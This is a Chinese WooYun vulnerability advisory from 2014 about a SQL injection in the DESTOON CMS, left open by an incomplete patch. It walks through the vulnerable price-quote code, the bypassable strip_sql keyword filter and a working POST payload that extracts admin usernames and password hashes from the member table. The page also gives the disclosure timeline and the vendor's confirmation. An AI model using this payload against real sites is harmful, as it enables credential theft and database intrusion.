当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(15) 关注此漏洞

缺陷编号: WooYun-2014-69468

漏洞标题: DESTOON 补丁没补好导致的注射

相关厂商: DESTOON

漏洞作者: Noxxx

提交时间: 2014-07-24 14:16

公开时间: 2014-10-22 14:18

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-24: 细节已通知厂商并且等待厂商处理中
2014-07-25: 厂商已经确认,细节仅向厂商公开
2014-07-28: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-09-18: 细节向核心白帽子及相关领域专家公开
2014-09-28: 细节向普通白帽子公开
2014-10-08: 细节向实习白帽子公开
2014-10-22: 细节向公众公开

简要描述:

2014-07-22
.应该对关键的地方打补

详细说明:

$post = daddslashes(dstripslashes($post));

打的补丁只是对 修改资料的$post做了daddslashes的措施 但是 注册的时候还是能注册特殊字符的 .找了一处 可以利用的地方



code 区域
extract($USER, EXTR_PREFIX_ALL, '');



//common.inc.php中的初始化(登录)



/module/quote/price.inc.php





24-28

code 区域
if($_userid) $post['company'] = $_company;//这里使用了
require DT_ROOT.'/module/'.$module.'/price.class.php';
$do = new price;
if($do->pass($post)) {
$do->add($post); //进入流程



price.class.php中

code 区域
function add($post) {
global $MOD, $L;
$post = $this->set($post);
$sqlk = $sqlv = '';
foreach($post as $k=>$v) {
if(in_array($k, $this->fields)) { $sqlk .= ','.$k; $sqlv .= ",'$v'"; } // 遍历数据
}
$sqlk = substr($sqlk, 1);
$sqlv = substr($sqlv, 1);
$this->db->query("INSERT INTO {$this->table} ($sqlk) VALUES ($sqlv)");//进入查询流程
$this->itemid = $this->db->insert_id();
$this->update($this->itemid, $post);
$this->product($this->itemid, $post['pid']);
return $this->itemid;
}



由于有个转义符破坏了单引号所以可以注入



再看他的 strip_sql这个 更新了下 加了个+号但是还是可以绕过的

code 区域
function strip_sql($string) {
$match = array("/union/i","/where/i","/0x([a-z0-9]{2,})/i","/select([\s\*\/\-\(\+])/i","/update([\s\*\/\-\(\+])/i","/replace([\s\*\/\-\(\+])/i","/delete([\s\*\/\-\(\+])/i","/drop([\s\*\/\-\(\+])/i","/outfile([\s\*\/\-\(\+])/i","/dumpfile([\s\*\/\-\(\+])/i","/load_file[\s]*\(/i","/substring[\s]*\(/i","/substr[\s]*\(/i","/left[\s]*\(/i","/concat[\s]*\(/i","/concat_ws[\s]*\(/i","/ascii[\s]*\(/i","/hex[\s]*\(/i","/ord[\s]*\(/i","/char[\s]*\(/i");
$replace = array('union','where','0x\\1','select\\1','update\\1','replace\\1','delete\\1','drop\\1','outfile\\1','dumpfile\\1','load_file(','substring(','substr(','left(','concat(','concat_ws(','ascii(','hex(','ord(','char(');
return is_array($string) ? array_map('strip_sql', $string) : preg_replace($match, $replace, $string);
}





(SELECT@pw:=PW FROM(SELECT@p:=(MAKE_SET(-1,admin,username,PASSWORD)) AS PW FROM destoon_member ORDER BY admin DESC ) C LIMIT 0,1)

这样就绕过了



这个就是 必须有产品报价 才行

itemid = 产品报价id

exp:

注册一个账号 然后拦截注册的post数据 把company 改成 xxxx\

登录状态

http://**.**.**.**/quote/price.php



itemid=1&post[market]=1&post[price]=50&post[areaid]=1&post[company]=ok&post[note]=,(SELECT@pw:=PW FROM(SELECT@p:=(MAKE_SET(-1,admin,username,PASSWORD)) AS PW FROM destoon_member ORDER BY admin DESC ) C LIMIT 0,1),1,3,1,1,1,1,1)#&captcha=rs8h&submit=ok

漏洞证明:

1.jpg





2.jpg





3.jpg

修复方案:

..

版权声明:转载请注明来源 Noxxx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-07-25 18:47

厂商回复:

感谢反馈,我们会尽快修复

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-07-24 15:14 | 大大灰狼 ( 普通白帽子 | Rank:278 漏洞数:64 | Newbie)
    2

    又桶一刀

  2. 2014-07-24 15:51 | loopx9 认证白帽子 ( 普通白帽子 | Rank:789 漏洞数:80 | ..)
    1

    WooYun-2014-55593?

  3. 2014-10-22 14:30 | bitcoin ( 普通白帽子 | Rank:857 漏洞数:248 | 学习是最好的投资!)
    0

    好多¥¥¥啊!

登录后才能发表评论,请先 登录